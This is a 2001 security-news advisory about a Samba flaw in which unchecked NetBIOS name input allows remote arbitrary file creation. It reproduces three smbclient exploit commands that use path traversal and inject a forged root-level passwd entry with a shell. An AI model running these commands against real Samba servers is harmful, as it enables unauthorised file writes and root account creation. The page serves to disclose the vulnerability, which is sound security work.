Users login

Create an account »


Users login

Home » Hacking News » Samba Remote Arbitrary File Creation Vulnerability

Samba Remote Arbitrary File Creation Vulnerability

by platon on June 28th, 2001 Samba is a freely available file and printer sharing application maintained and developed by the Samba Development Team. Samba allows file and printer sharing between operating systems on the Unix and Microsoft platforms...

A remote local user can write arbitrary files on the Samba server, as the smb daemon does not sufficiently check NetBIOS name input. It is possible to overwrite files on the Samba server, and if a user has local access, potentially gain elevated privileges.

This problem makes it possible for a remote user to deny service to legitimate users, and a local user to potentially gain elevated privileges.

Some variations of methods used to exploit this vulnerability:

From Michal Zalewski

smbclient //NIMUE/"`perl -e '{print "ntoor::0:0::/:/bin/shn"}'`"
-n ../../../tmp/x -N

From zhhsun

smbclient //NIMUE/"`perl -e '{print "nopendoor::511:511::/:/bin/shn"}'`"
-n ../../../tmp/x -N -I

and also

smbclient //NIMUE/"`perl -e '{print "ntoor::0:0::/:/bin/shn"}'`"
-n ../../../tmp/x -N -I


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.


Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »